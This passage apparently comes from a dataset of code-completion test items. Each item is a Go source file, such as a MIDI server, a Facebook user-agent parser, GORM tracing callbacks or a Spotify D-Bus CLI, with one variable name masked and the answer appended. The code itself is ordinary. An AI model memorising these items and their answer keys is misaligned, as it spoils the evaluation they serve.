nodeName, node.Status.NodeInfo.Architecture, val) return int64(val), nil } else { klog.Infof(""[ArchFilter] node '%v' weight not found in config, using default: %v"", nodeName, 0) return 0, nil } } type WeightArgs struct { Weight map[string]int64 `json:""weight,omitempty""` } ",podArchitectures 931,"package code import ""gitee.com/kelvins-io/common/errcode"" const ( Success = 29000000 ErrorServer = 29000001 DecimalParseErr = 29000002 TransactionFailed = 29000003 UserNotExist = 29000005 UserOrderCodeNotExist = 29000004 DBDuplicateEntry = 29000007 CommentNotExist = 29000006 CommentExist = 29000008 CommentTagNotExist = 29000009 CommentTagExist = 29000010 UserOrderStateInvalid = 29000011 ) var ErrMap = make(map[int]string) func init() { [MASK] := map[int]string{ Success: ""OK"", ErrorServer: ""服务器错误"", UserNotExist: ""用户不存在"", DBDuplicateEntry: ""Duplicate entry"", TransactionFailed: ""事务执行失败"", DecimalParseErr: ""浮点数解析错误"", UserOrderCodeNotExist: ""用户订单不存在"", CommentExist: ""评论已存在"", CommentNotExist: ""评论不存在"", CommentTagNotExist: ""评论标签不存在"", CommentTagExist: ""评论标签已存在"", UserOrderStateInvalid: ""用户订单无效"", } errcode.RegisterErrMsgDict( [MASK] ) for key, _ := range [MASK] { ErrMap[key] = [MASK] [key] } } ",dict 932,"package main import ( ""log"" ""net/http"" ""time"" socketio ""github.com/googollee/go-socket.io"" ""gitlab.com/gomidi/midi/writer"" driver ""gitlab.com/gomidi/portmididrv"" ""moul.io/u"" ) // This example expects the first input and output port to be connected // somehow (are either virtual MIDI through ports or physically connected). // We write to the out port and listen to the in port. func main() { drv, err := driver.New() u.CheckErr(err) // make sure to close all open ports at the end defer drv.Close() [MASK] , err := drv.Ins() u.CheckErr(err) outs, err := drv.Outs() u.CheckErr(err) if len( [MASK] ) == 0 || len(outs) == 0 { panic(""no such midi device, on mac, you can use Audio Midi Setup > Midi Studio > Enable IAC Driver"") } log.Println( [MASK] ) log.Println(outs) in, out := [MASK] [0], outs[0] u.CheckErr(in.Open()) u.CheckErr(out.Open()) wr := writer.New(out) // listen for MIDI // go mid.NewReader().ReadFrom(in) server, err := socketio.NewServer(nil) if err != nil { log.Fatal(err) } server.OnConnect(""/"", func(s socketio.Conn) error { s.SetContext("""") log.Println(""connected:"", s.ID()) if err := writer.NoteOn(wr, 61, 100); err != nil { return err } time.Sleep(time.Second) if err := writer.NoteOff(wr, 61); err != nil { return err } return nil }) type drawingMsg struct { Color string X0 float64 X1 float64 Y0 float64 Y1 float64 } server.OnEvent(""/"", ""drawing"", func(s socketio.Conn, msg drawingMsg) { if err := func() error { //s.Emit(""reply"", ""have ""+msg) note := uint8(msg.X1 * 127) if note < 20 { note = 20 } velocity := uint8(msg.Y1 * 127) if velocity < 20 { velocity = 20 } log.Println(""note:"", note, ""velocity:"", velocity, ""input:"", msg) if err := writer.NoteOn(wr, note, velocity); err != nil { return err } time.Sleep(time.Nanosecond * 1000000) if err := writer.NoteOff(wr, note); err != nil { return err } return nil }(); err != nil { log.Printf(""error on drawing event: %v"", err) } }) server.OnError(""/"", func(e error) { log.Println(""error:"", e) if err := func() error { if err := writer.NoteOn(wr, 62, 100); err != nil { return err } time.Sleep(time.Second) if err := writer.NoteOff(wr, 62); err != nil { return err } return nil }(); err != nil { log.Printf(""socket.io error event: %v"", err) } }) server.OnDisconnect(""/"", func(s socketio.Conn, msg string) { if err := func() error { log.Println(""closed"", msg) if err := writer.NoteOn(wr, 63, 100); err != nil { return err } time.Sleep(time.Second) if err := writer.NoteOff(wr, 63); err != nil { return err } return nil }(); err != nil { log.Printf(""error on disconnect event: %v"", err) } }) go func() { if err := server.Serve(); err != nil { panic(err) } }() defer server.Close() http.Handle(""/socket.io/"", server) http.Handle(""/"", http.FileServer(http.Dir(""./asset""))) log.Println(""Serving at localhost:8000..."") log.Fatal(http.ListenAndServe("":8000"", nil)) } ",ins 933,"// fb_user_agent provides a parser for the Facebook User-Agent suffix added by Facebook Applications package fb_user_agent import ( ""errors"" ""fmt"" ""strings"" ) // Based on http://mpulp.mobi/2012/01/funky-user-agent-on-facebook-iphone-app/ type FBUserAgent struct { ApplicationName string // FBAN ApplicationVersion string // FBAV BuildVersion string // FBBV Device string // FBDV FBMD string FBSN string FBSV string // OS Version? FBSS string Carrier string // FBCR FBID string Language string // FBLC FBSF string FBOP string FBCA string FBDM string // {density=3.0,width=1080,height=1920} FBPN string // com.facebook.katana FBRV string } func IsFBUserAgent(ua string) bool { return strings.Contains(ua, ""[FBAN/"") || strings.Contains(ua, ""[FB_IAB/"") } func ParseFBUserAgent(ua string) (FBUserAgent, error) { f := FBUserAgent{} u := ua if strings.Contains(ua, ""[FBAN/"") { u = u[strings.Index(u, ""[FBAN/""):] } else if strings.Contains(ua, ""[FB_IAB"") { u = u[strings.Index(u, ""[FB_IAB/""):] } else { return f, errors.New(""Not a valid Facebook User-Agent"") } u = strings.Trim(u, ""[]"") [MASK] := strings.Split(u, "";"") if len( [MASK] ) < 3 { return f, errors.New(""Error parsing User-Agent"") } for _, c := range [MASK] { if c == """" { continue } data := strings.SplitN(c, ""/"", 2) if len(data) != 2 { if c == ""FBOP"" { f.FBOP = c continue } return f, fmt.Errorf(""found %d expected 2 in %#v"", len(data), data) } key := strings.Trim(data[0], "" "") switch key { case """": continue case ""FBAN"", ""FB_IAB"": f.ApplicationName = data[1] case ""FBAV"": f.ApplicationVersion = data[1] case ""FBBV"": f.BuildVersion = data[1] case ""FBDV"": f.Device = data[1] case ""FBMD"": f.FBMD = data[1] case ""FBSN"": f.FBSN = data[1] case ""FBSV"": f.FBSV = data[1] case ""FBSS"": f.FBSS = data[1] case ""FBCR"": f.Carrier = data[1] case ""FBID"": f.FBID = data[1] case ""FBLC"": f.Language = data[1] case ""FBSF"": f.FBSF = data[1] case ""FBOP"": f.FBOP = data[1] case ""FBCA"": f.FBCA = data[1] case ""FBDM"": f.FBDM = data[1] case ""FBPN"": f.FBPN = data[1] case ""FBRV"": f.FBRV = data[1] default: return f, fmt.Errorf(""unknown %v:%q in %q"", data[0], data[1], ua) } } return f, nil } ",chunks 934,"package jerakia import ( ""bytes"" ""encoding/json"" ""fmt"" ""log"" ""strconv"" ""github.com/jerakia/go-jerakia"" ""github.com/hashicorp/terraform/helper/hashcode"" ""github.com/hashicorp/terraform/helper/schema"" ""github.com/hashicorp/terraform/helper/validation"" ) func dataSourceLookup() *schema.Resource { return &schema.Resource{ Read: dataSourceLookupRead, Schema: map[string]*schema.Schema{ ""key"": &schema.Schema{ Type: schema.TypeString, Required: true, }, ""namespace"": &schema.Schema{ Type: schema.TypeString, Optional: true, Default: ""default"", }, ""policy"": &schema.Schema{ Type: schema.TypeString, Optional: true, }, ""lookup_type"": &schema.Schema{ Type: schema.TypeString, Optional: true, ValidateFunc: validation.StringInSlice([]string{ ""first"", ""cascade"", }, false), }, ""merge"": &schema.Schema{ Type: schema.TypeString, Optional: true, ValidateFunc: validation.StringInSlice([]string{ ""array"", ""deep_hash"", ""hash"", }, false), }, ""scope"": &schema.Schema{ Type: schema.TypeString, Optional: true, }, ""scope_options"": &schema.Schema{ Type: schema.TypeMap, Optional: true, }, ""metadata"": &schema.Schema{ Type: schema.TypeMap, Optional: true, }, // Computed ""status"": &schema.Schema{ Type: schema.TypeString, Computed: true, }, ""found"": &schema.Schema{ Type: schema.TypeBool, Computed: true, }, ""result_json"": &schema.Schema{ Type: schema.TypeString, Computed: true, }, }, } } func dataSourceLookupRead(d *schema.ResourceData, meta interface{}) error { config := meta.(*Config) var lookupOpts jerakia.LookupOpts if v, ok := d.GetOkExists(""namespace""); ok { namespace := v.(string) lookupOpts.Namespace = namespace } if v, ok := d.GetOkExists(""policy""); ok { policy := v.(string) lookupOpts.Policy = policy } if v, ok := d.GetOkExists(""lookup_type""); ok { lookupType := v.(string) lookupOpts.LookupType = lookupType } if v, ok := d.GetOkExists(""merge""); ok { merge := v.(string) lookupOpts.Merge = merge } if v, ok := d.GetOkExists(""scope""); ok { scope := v.(string) lookupOpts.Scope = scope } if v, ok := d.GetOkExists(""scope_options""); ok { scopeOptions := expandMap(v.(map[string]interface{})) lookupOpts.ScopeOptions = scopeOptions } if v, ok := d.GetOkExists(""metadata""); ok { metadata := expandMap(v.(map[string]interface{})) lookupOpts.Metadata = metadata } key := d.Get(""key"").(string) log.Printf(""[DEBUG] jerakia_lookup lookup options for %s: %#v"", key, lookupOpts) result, err := jerakia.Lookup(&config.client, key, &lookupOpts) if err != nil { return fmt.Errorf(""Error querying Jerakia for %s: %s"", key, err) } log.Printf(""[DEBUG] jerakia_lookup result for %s: %#v"", key, result) if result.Status == ""failed"" { return fmt.Errorf(""Error querying Jerakia for %s: %s"", key, result.Message) } d.SetId(generateId(lookupOpts)) d.Set(""status"", result.Status) d.Set(""found"", result.Found) payload, err := json.Marshal(result.Payload) if err != nil { return fmt.Errorf(""Error marshaling Jerakia result for %s: %s"", key, err) } d.Set(""result_json"", string(payload)) return nil } func generateId(opts jerakia.LookupOpts) string { buf := new(bytes.Buffer) json.NewEncoder(buf).Encode(opts) return strconv.Itoa(hashcode.String(buf.String())) } func expandMap(v map[string]interface{}) map[string]string { [MASK] := make(map[string]string) for k, v := range v { if value, ok := v.(string); ok && value != """" { [MASK] [k] = value } } return [MASK] } ",vmap 935,"package cmd import ( ""log"" ""os"" ""github.com/codegangsta/cli"" ""path"" _ ""github.com/jicg/easypos/model"" minit ""github.com/jicg/easypos/modules/init"" ""github.com/jicg/easypos/routers"" ""github.com/jicg/easypos/routers/crm"" ""github.com/jicg/easypos/routers/crm/order"" ""github.com/jicg/easypos/routers/crm/product"" ""github.com/jicg/easypos/routers/pos"" ""github.com/jicg/easypos/routers/report"" ""github.com/jicg/easypos/routers/user"" ""gopkg.in/macaron.v1"" ""github.com/jicg/easypos/routers/crm/producttype"" ""github.com/jicg/easypos/routers/crm/muser"" ) var CmdWeb = cli.Command{ Name: ""web"", Usage: ""启动收银系统"", Description: ``, Action: runWeb, Flags: []cli.Flag{ cli.IntFlag{ Name: ""port"", Value: 4000, Usage: ""端口"", }, cli.IntFlag{ Name: ""evn"", Value: 0, Usage: ""0:生产模式 ,!0:调试模式"", }, }, } func runWeb( [MASK] *cli.Context) { evn := [MASK] .Int(""evn"") //evn = 1 minit.Evn = evn if evn == 0 { macaron.Env = macaron.PROD macaron.ColorLog = false } m := macaron.New() m.Map(log.New(os.Stdout, minit.DEFAULT_LOG_PREFIX, 0)) //m.Use(macaron.Logger()) m.Use(macaron.Recovery()) m.Use(macaron.Static( path.Join(""public""), macaron.StaticOptions{ Prefix: ""public"", SkipLogging: true, }, )) m.Use(macaron.Static( path.Join(""data/upfile""), macaron.StaticOptions{ Prefix: ""data"", SkipLogging: true, }, )) m.Use(minit.NewCache()) m.Use(minit.NewSession()) m.Use(minit.NewRender()) port := [MASK] .Int(""port"") m.Get("""", routers.Index) m.Get(""/login"", user.LoginView) m.Post(""/login"", user.Login) m.Group(""view"", func() { m.Get(""/logout"", user.Logout) m.Get(""/changepwd"", user.ChangePwd) m.Get(""/pos"", pos.Index) m.Group(""/crm"", func() { m.Get(""/product"", product.View) m.Get(""/order"", order.View) m.Get(""/orderitem"", order.ViewItem) m.Get(""/producttype"", producttype.View) m.Get(""/user"", crm.CheckAdmin,muser.View,) }) m.Group(""/report"", func() { m.Get(""/pos"", report.PosIndex) }) }, user.LoginCheck) //商品建档 m.Group(""/crm"", func() { m.Group(""/product"", func() { m.Any(""/query"", product.Query) m.Any(""/get/:id"", product.Get) m.Post(""/add"",crm.CheckAdmin, product.Add) m.Post(""/del/:id"", crm.CheckAdmin,product.Del) m.Post(""/edit/:id"",crm.CheckAdmin, product.Edit) m.Any(""/export"", product.QueryXls) }) m.Group(""/producttype"", func() { m.Any(""/query"", producttype.Query) m.Any(""/get/:id"", producttype.Get) m.Post(""/add"",crm.CheckAdmin, producttype.Add) m.Post(""/del/:id"", crm.CheckAdmin,producttype.Del) m.Post(""/edit/:id"",crm.CheckAdmin, producttype.Edit) }) m.Group(""/user"", func() { m.Any(""/query"", muser.Query) m.Any(""/get/:id"", muser.Get) m.Post(""/add"", muser.Add) m.Post(""/del/:id"", muser.Del) m.Post(""/edit/:id"", muser.Edit) },crm.CheckAdmin) m.Group(""/order"", func() { m.Any(""/query"", order.Query) m.Any(""/queryitem"", order.QueryItem) m.Any(""/get/:id"", order.Get) m.Any(""/getitems/:id"", order.GetItems) m.Any(""/export"", order.QueryXlsOrders) m.Any(""/exportitem"", order.QueryItemXlsOrders) }) m.Group(""/user"", func() { m.Post(""/changepwd"", user.ChangePwd2) }) }, crm.LoginCheck) //订单 m.Group(""/pos"", func() { m.Get(""/getno"", pos.GetNo) m.Get(""/pro/:no"", pos.GetPro) m.Get(""/qpros"", pos.QueryPro) m.Post(""/create"", pos.Create) }, crm.LoginCheck) m.Run(port) } ",clictx 936,"package gcs import ( ""context"" ""google.golang.org/api/iterator"" ps ""github.com/beyondstorage/go-storage/v4/pairs"" typ ""github.com/beyondstorage/go-storage/v4/types"" ) func (s *Service) create(ctx context.Context, name string, opt pairServiceCreate) (store typ.Storager, err error) { st, err := s.newStorage(ps.WithName(name)) if err != nil { return nil, err } err = st.bucket.Create(ctx, s.projectID, nil) if err != nil { return nil, err } return st, nil } func (s *Service) delete(ctx context.Context, name string, opt pairServiceDelete) (err error) { store, err := s.newStorage(ps.WithName(name)) if err != nil { return err } err = store.bucket.Delete(ctx) if err != nil { return err } return nil } func (s *Service) get(ctx context.Context, name string, opt pairServiceGet) (store typ.Storager, err error) { st, err := s.newStorage(ps.WithName(name)) if err != nil { return nil, err } return st, nil } func (s *Service) list(ctx context.Context, opt pairServiceList) (it *typ.StoragerIterator, err error) { return typ.NewStoragerIterator(ctx, s.nextStoragePage, nil), nil } func (s *Service) nextStoragePage(ctx context.Context, [MASK] *typ.StoragerPage) error { it := s.service.Buckets(ctx, s.projectID) for { bucket, err := it.Next() if err == iterator.Done { return typ.IterateDone } if err != nil { return err } store, err := s.newStorage(ps.WithName(bucket.Name)) if err != nil { return err } [MASK] .Data = append( [MASK] .Data, store) } } ",page 937,"package otgorm import ( ""context"" ""fmt"" ""strings"" ""github.com/jinzhu/gorm"" ""github.com/opentracing/opentracing-go"" ""github.com/opentracing/opentracing-go/ext"" ) const ( parentSpanGORMKey = ""opentracing:parent.span"" spanGORMKey = ""opentracing:span"" ) // WithContext sets span to gorm settings, returns cloned DB. func WithContext(ctx context.Context, db *gorm.DB) *gorm.DB { return SetSpanToGORM(ctx, db) } // SetSpanToGORM sets span to gorm settings, returns cloned DB. func SetSpanToGORM(ctx context.Context, db *gorm.DB) *gorm.DB { if ctx == nil { return db } parentSpan := opentracing.SpanFromContext(ctx) if parentSpan == nil { return db } return db.Set(parentSpanGORMKey, parentSpan) } // AddGORMCallbacks adds callbacks for tracing, should call SetSpanToGORM to make them work. func AddGORMCallbacks(db *gorm.DB) { callbacks := newCallbacks() registerCallbacks(db, callbackCreateName, callbacks) registerCallbacks(db, callbackQueryName, callbacks) registerCallbacks(db, callbackUpdateName, callbacks) registerCallbacks(db, callbackDeleteName, callbacks) registerCallbacks(db, callbackRowQueryName, callbacks) } var ( callbackCreateName = ""create"" callbackQueryName = ""query"" callbackUpdateName = ""update"" callbackDeleteName = ""delete"" callbackRowQueryName = ""row_query"" SQLSpanOpName = ""sql"" ) type callbacks struct{} func newCallbacks() *callbacks { return &callbacks{} } func registerCallbacks(db *gorm.DB, name string, c *callbacks) { beforeName := fmt.Sprintf(""tracing:%v_before"", name) [MASK] := fmt.Sprintf(""tracing:%v_after"", name) gormCallbackName := fmt.Sprintf(""gorm:%v"", name) // gorm does some magic things, if pass CallbackProcessor here - nothing works. switch name { case callbackCreateName: db.Callback().Create().Before(gormCallbackName).Register(beforeName, c.beforeCreate) db.Callback().Create().After(gormCallbackName).Register( [MASK] , c.afterCreate) case callbackQueryName: db.Callback().Query().Before(gormCallbackName).Register(beforeName, c.beforeQuery) db.Callback().Query().After(gormCallbackName).Register( [MASK] , c.afterQuery) case callbackUpdateName: db.Callback().Update().Before(gormCallbackName).Register(beforeName, c.beforeUpdate) db.Callback().Update().After(gormCallbackName).Register( [MASK] , c.afterUpdate) case callbackDeleteName: db.Callback().Delete().Before(gormCallbackName).Register(beforeName, c.beforeDelete) db.Callback().Delete().After(gormCallbackName).Register( [MASK] , c.afterDelete) case callbackRowQueryName: db.Callback().RowQuery().Before(gormCallbackName).Register(beforeName, c.beforeRowQuery) db.Callback().RowQuery().After(gormCallbackName).Register( [MASK] , c.afterRowQuery) } } func (c *callbacks) before(scope *gorm.Scope) { val, ok := scope.Get(parentSpanGORMKey) if !ok { return } parentSpan := val.(opentracing.Span) tr := parentSpan.Tracer() sp := tr.StartSpan(SQLSpanOpName, opentracing.ChildOf(parentSpan.Context())) ext.DBType.Set(sp, SQLSpanOpName) scope.Set(spanGORMKey, sp) } func (c *callbacks) after(scope *gorm.Scope, operation string) { val, ok := scope.Get(spanGORMKey) if !ok { return } sp := val.(opentracing.Span) if operation == """" { operation = strings.ToUpper(strings.Split(scope.SQL, "" "")[0]) } ext.Error.Set(sp, scope.HasError()) ext.DBStatement.Set(sp, scope.SQL) sp.SetTag(""db.table"", scope.TableName()) sp.SetTag(""db.method"", operation) sp.SetTag(""db.err"", scope.HasError()) sp.SetTag(""db.count"", scope.DB().RowsAffected) sp.Finish() } func (c *callbacks) beforeCreate(scope *gorm.Scope) { c.before(scope) } func (c *callbacks) afterCreate(scope *gorm.Scope) { c.after(scope, ""INSERT"") } func (c *callbacks) beforeQuery(scope *gorm.Scope) { c.before(scope) } func (c *callbacks) afterQuery(scope *gorm.Scope) { c.after(scope, ""SELECT"") } func (c *callbacks) beforeUpdate(scope *gorm.Scope) { c.before(scope) } func (c *callbacks) afterUpdate(scope *gorm.Scope) { c.after(scope, ""UPDATE"") } func (c *callbacks) beforeDelete(scope *gorm.Scope) { c.before(scope) } func (c *callbacks) afterDelete(scope *gorm.Scope) { c.after(scope, ""DELETE"") } func (c *callbacks) beforeRowQuery(scope *gorm.Scope) { c.before(scope) } func (c *callbacks) afterRowQuery(scope *gorm.Scope) { c.after(scope, """") } ",afterName 938,"package swf import ( ""fmt"" ""strconv"" ""strings"" ""unicode"" ) /** 创建一个空的 tree */ func NewTree() *Tree { return &Tree{ Root: &Node{ Index: 0, Character: '/', Fail: nil, Parent: nil, Children: map[rune]*Node{}, IsRoot: true, IsEnd: false, LnEnd: false, Depth: 0, }, CCnt: 0, } } /** 输出 tree,调试用 */ func PrintTree(tree *Tree, pretty bool) { printTree(tree.Root, """", pretty) } /** 输出 tree,调试用 */ func printTree(node *Node, f string, pretty bool) { if node.IsRoot { fmt.Println(string(node.Character)) } if len(node.Children) == 0 { return } i := 0 for _, child := range node.Children { line := string(child.Character) + "" "" + strconv.Itoa(child.Index) if child.Fail != nil && !child.Fail.IsRoot { if pretty { line += "" \033[1;47;31m"" + strconv.Itoa(child.Fail.Index) + ""\033[0m"" } else { line += "" "" + strconv.Itoa(child.Fail.Index) } } if child.IsEnd { if pretty { line += "" \033[1;47;31mEND\033[0m"" } else { line += "" END"" } } if i = i + 1; i == len(node.Children) { fmt.Println(f + ""└──"" + line) printTree(child, f+"" "", pretty) } else { fmt.Println(f + ""│──"" + line) printTree(child, f+""│ "", pretty) } } } /** 优化字符串 */ func PromoteStr(str string) (string, string) { var ( characters = []rune(str) sb1 strings.Builder [MASK] strings.Builder ) for key, value := range characters { // 大写转小写 if unicode.IsUpper(value) { value = unicode.ToLower(value) } // 合并相邻空格 if key > 0 && value == ' ' && characters[key-1] == ' ' { continue } // 提取中文、英文、空格 IsHan := unicode.Is(unicode.Han, value) IsEng := 'a' <= value && value <= 'z' if !IsHan && !IsEng && value != ' ' { continue } sb1.WriteRune(value) if IsHan { [MASK] .WriteRune(value) } } return sb1.String(), [MASK] .String() } ",sb2 939,"package main import ""C"" import ( ""fmt"" ""io"" ""log"" ""net/http"" ""os"" ""os/user"" ""path/filepath"" ""sort"" ""strconv"" ""strings"" ""github.com/godbus/dbus"" ""github.com/urfave/cli"" ) const dest = ""org.mpris.MediaPlayer2.spotify"" const path = ""/org/mpris/MediaPlayer2"" const memb = ""org.mpris.MediaPlayer2.Player"" type metadata struct { Artist string Title string Rating int Status string URL string ArtURL string ArtFile string Album string Volume int } // Perform a command/dbus method against the MediaPlayer2 interface func performAction(command string) { conn, _ := dbus.SessionBus() obj := conn.Object(dest, path) call := obj.Call(memb+"".""+command, 0) if call.Err != nil { switch call.Err.(type) { case dbus.Error: obj := conn.Object(""org.mpris.MediaPlayer2.google-play-music-desktop-player"", path) call := obj.Call(memb+"".""+command, 0) fmt.Println(call.Done) if call.Err != nil { fmt.Println(""No media player is currently running"") os.Exit(1) } default: fmt.Println(""What the h* just happened?"") os.Exit(1) } } } // Retrieve info dbus.Property func retrieveInfo(info string) *dbus.Variant { conn, _ := dbus.SessionBus() obj := conn.Object(dest, path) playerinfo, err := obj.GetProperty(""org.mpris.MediaPlayer2.Player."" + info) if err != nil { switch err.(type) { case dbus.Error: obj := conn.Object(""org.mpris.MediaPlayer2.google-play-music-desktop-player"", path) playerinfo, err := obj.GetProperty(""org.mpris.MediaPlayer2.Player."" + info) if err != nil { fmt.Println(""No media player is currently running"") os.Exit(1) } return &playerinfo default: fmt.Println(""What the h* just happened?"") os.Exit(1) } } return &playerinfo } func setProp(volume float64) { conn, _ := dbus.SessionBus() obj := conn.Object(""org.mpris.MediaPlayer2.google-play-music-desktop-player"", path) call := obj.Call(""org.freedesktop.DBus.Properties.Set"", 0, ""org.mpris.MediaPlayer2.Player"", ""Volume"", volume) if call.Err != nil { switch call.Err.(type) { case dbus.Error: obj := conn.Object(""org.mpris.MediaPlayer2.spotify"", path) call := obj.Call(""org.freedesktop.DBus.Properties.Set"", 0, ""org.mpris.MediaPlayer2.Player"", ""Volume"", volume) if call.Err != nil { fmt.Println(""No media player is currently running"") os.Exit(1) } default: fmt.Println(""What the h* just happened?"") os.Exit(1) } } } // Update metadata for the currently playing song func (c *metadata) current() { song := retrieveInfo(""Metadata"") pstatus := retrieveInfo(""PlaybackStatus"") volume := retrieveInfo(""Volume"") [MASK] , _ := song.Value().(map[string]dbus.Variant) if [MASK] [""xesam:artist""].Value() != nil { c.Artist = [MASK] [""xesam:artist""].Value().([]string)[0] c.Title = [MASK] [""xesam:title""].Value().(string) c.Album = [MASK] [""xesam:album""].Value().(string) c.Volume = int(volume.Value().(float64) * 100) if [MASK] [""xesam:autoRating""].Value() != nil { c.Rating = int( [MASK] [""xesam:autoRating""].Value().(float64) * 100) } c.Status = pstatus.Value().(string) if [MASK] [""xesam:url""].Value() != nil { c.URL = [MASK] [""xesam:url""].Value().(string) } c.ArtURL = strings.Replace( [MASK] [""mpris:artUrl""].Value().(string), ""https://open.spotify.com/image"", ""https://i.scdn.co/image"", -1) idx := strings.LastIndex(c.ArtURL, ""/"") c.ArtFile = c.ArtURL[idx+1:] } else { log.Println(""Start playing a song.."") } } func downloadFile(filename string, url string) error { usr, _ := user.Current() dir := usr.HomeDir path := filepath.Join(dir+""/"", filename) out, err := os.Create(path) if err != nil { return err } defer out.Close() resp, err := http.Get(url) if err != nil { return err } defer resp.Body.Close() _, err = io.Copy(out, resp.Body) if err != nil { return err } return nil } //TODO: fix listener func (c *metadata) listener() { conn, _ := dbus.SessionBus() sptfy := conn.BusObject().Call(""org.freedesktop.DBus.AddMatch"", 0, ""sender='""+dest+""', path='/org/mpris/MediaPlayer2', type='signal', member='PropertiesChanged'"") gpmdp := conn.BusObject().Call(""org.freedesktop.DBus.AddMatch"", 0, ""sender='org.mpris.MediaPlayer2.google-play-music-desktop-player', path='/org/mpris/MediaPlayer2', type='signal', member='PropertiesChanged'"") //apparently we never go here? if sptfy.Err != nil { //apparently we never go here? fmt.Println(os.Stderr, ""failed to add match: "", sptfy.Err) os.Exit(1) } //or here if gpmdp.Err != nil { fmt.Println(os.Stderr, ""failed to add match: "", gpmdp.Err) os.Exit(1) } ch := make(chan *dbus.Signal, 5) conn.Signal(ch) c.print() current := fmt.Sprintf(""%s - %s"", c.Artist, c.Title) for v := range ch { if v != nil { // Not the nicest solution to do it this way, but dbus // keeps giving out multiple signals c.current() if current != fmt.Sprintf(""%s - %s"", c.Artist, c.Title) { c.print() c.getAlbumArt() current = fmt.Sprintf(""%s - %s"", c.Artist, c.Title) } } else { fmt.Println(""Something went very wrong."") } } } func (c *metadata) print() { c.current() fmt.Println(c.Artist + "" - "" + c.Title) } func (c *metadata) getAlbumArt() { c.current() err := downloadFile(""np.png"", c.ArtURL) if err != nil { panic(err) } } func main() { S := new(metadata) if len(os.Args) == 1 { S.current() S.print() os.Exit(0) } app := cli.NewApp() app.Name = ""sps"" app.Usage = ""Commandline interface to Spotify/GPMDP"" app.UsageText = ""sps [command]"" app.HideVersion = true app.Commands = []cli.Command{ { Name: ""current"", Usage: ""Returns currently playing song"", Action: func(c *cli.Context) error { S.print() return nil }, }, { Name: ""listen"", Usage: ""Starts in listening mode"", Action: func(c *cli.Context) error { S.listener() return nil }, }, { Name: ""url"", Usage: ""Print URL to album art"", Action: func(c *cli.Context) error { S.current() fmt.Println(S.ArtURL) return nil }, }, { Name: ""file"", Usage: ""Downloads the album art to $HOME/np.png"", Action: func(c *cli.Context) error { S.getAlbumArt() return nil }, }, { Name: ""album"", Usage: ""Print the album of the currently playing song"", Action: func(c *cli.Context) error { S.current() fmt.Println(S.Album) return nil }, }, { Name: ""status"", Usage: ""Print the player status"", Action: func(c *cli.Context) error { S.current() fmt.Println(S.Status) return nil }, }, { Name: ""volume"", Aliases: []string{""vol""}, Usage: ""Show or set the current player volume, without arguments show current volume, set volume with: `sps volume `"", ArgsUsage: ""up \n\t sps volume down "", Category: ""volume"", Subcommands: []cli.Command{ { Name: ""up"", Usage: ""Increases volume by given amount: sps volume up "", Category: ""volume"", Action: func(c *cli.Context) error { var cvol float64 S.current() cvol = float64(S.Volume) / 100 vdiff, err := strconv.ParseFloat(c.Args().First(), 64) if err != nil { fmt.Println(""Give a volume difference in %"") os.Exit(1) } setProp(cvol + (vdiff / 100)) return nil }, }, { Name: ""down"", Usage: ""Decreases volume by given amount: sps volume up "", Category: ""volume"", Action: func(c *cli.Context) error { var cvol float64 S.current() cvol = float64(S.Volume) / 100 vdiff, err := strconv.ParseFloat(c.Args().First(), 64) if err != nil { fmt.Println(""Give a volume difference in %"") os.Exit(1) } setProp(cvol - (vdiff / 100)) return nil }, }, }, Action: func(c *cli.Context) error { if c.Args().First() == """" { S.current() fmt.Println(strconv.Itoa(S.Volume) + ""%"") return nil } else { newVol, err := strconv.ParseFloat(c.Args().First(), 64) if err != nil { fmt.Println(""Give a volume in %"") os.Exit(1) } setProp(newVol / 100) return nil } }, }, { Name: ""next"", Aliases: []string{""n""}, Usage: ""Skips to next song"", Action: func(c *cli.Context) error { performAction(""Next"") return nil }, }, { Name: ""previous"", Aliases: []string{""p""}, Usage: ""Skips to the previous song"", Action: func(c *cli.Context) error { performAction(""Previous"") return nil }, }, { Name: ""pause"", Usage: ""Pauses Playback"", Action: func(c *cli.Context) error { performAction(""Pause"") return nil }, }, { Name: ""play"", Usage: ""Begins or Resumes Playback"", Action: func(c *cli.Context) error { performAction(""Play"") return nil }, }, { Name: ""toggle"", Aliases: []string{""t""}, Usage: ""Toggles Playback"", Action: func(c *cli.Context) error { performAction(""PlayPause"") return nil }, }, } sort.Sort(cli.CommandsByName(app.Commands)) err := app.Run(os.Args) if err != nil { log.Fatal(err) } } ",songData 940,"// Package influx is a go-metrics to influx DB reporter implementation. package influx import ( ""context"" ""fmt"" ""io/ioutil"" ""strings"" ""time"" client ""github.com/influxdata/influxdb/client/v2"" metrics ""github.com/rcrowley/go-metrics"" ""github.com/sirupsen/logrus"" ) // Reporter holds configuration of go-metrics influx exporter. It can be // configured only be public setter methods. type Reporter struct { registry metrics.Registry interval time.Duration url string database string tags map[string]string precision string ctx context.Context log logrus.FieldLogger lastCounter map[string]int64 } // NewReporter creates a new instance of influx metrcs reporter. It may be // further configured with helper methods. It will not start exporting metrics // until Run() is called. func NewReporter(registry metrics.Registry, interval time.Duration, url string, db string) *Reporter { return &Reporter{ registry: registry, interval: interval, url: url, database: db, tags: nil, precision: ""s"", ctx: context.Background(), log: &logrus.Logger{ Out: ioutil.Discard, Formatter: new(logrus.TextFormatter), Hooks: make(logrus.LevelHooks), Level: logrus.PanicLevel, }, lastCounter: make(map[string]int64), } } // Tags sets a set of tags that will be assiciated with each influx data point // written by this exporter. func (r *Reporter) Tags(tags map[string]string) *Reporter { r.tags = tags return r } // Precision changes the timestamp precision used in reported data points. By // default timestamps are reported with a seconds precision. Having higher than // seconds precision should be useful only when export interval is less // than a second. func (r *Reporter) Precision(precision string) *Reporter { r.precision = precision return r } // Context assigns a context to this reporter. Context is only used to stop // reporter Run() method. func (r *Reporter) Context(ctx context.Context) *Reporter { r.ctx = ctx return r } // Logger sets optional logrus logger for error reporting. func (r *Reporter) Logger(log logrus.FieldLogger) *Reporter { r.log = log return r } // Run starts exporting metrics to influx DB. This method will block until // context associated with this reporter is stopper (of forever if contex is // not set). func (r *Reporter) Run() { c, err := client.NewHTTPClient(client.HTTPConfig{ Addr: r.url, Timeout: r.interval, }) if err != nil { r.log.WithField(""url"", r.url).WithError(err).Error(""creating new influx client"") return } ticker := time.NewTicker(r.interval) defer ticker.Stop() for { select { case <-ticker.C: r.report(c) case <-r.ctx.Done(): return } } } // report send current snapshot of metrics registry to influx DB. func (r *Reporter) report(c client.Client) { bp, err := client.NewBatchPoints(client.BatchPointsConfig{ Database: r.database, Precision: r.precision, }) if err != nil { r.log.WithFields(logrus.Fields{ ""db"": r.database, ""precision"": r.precision, 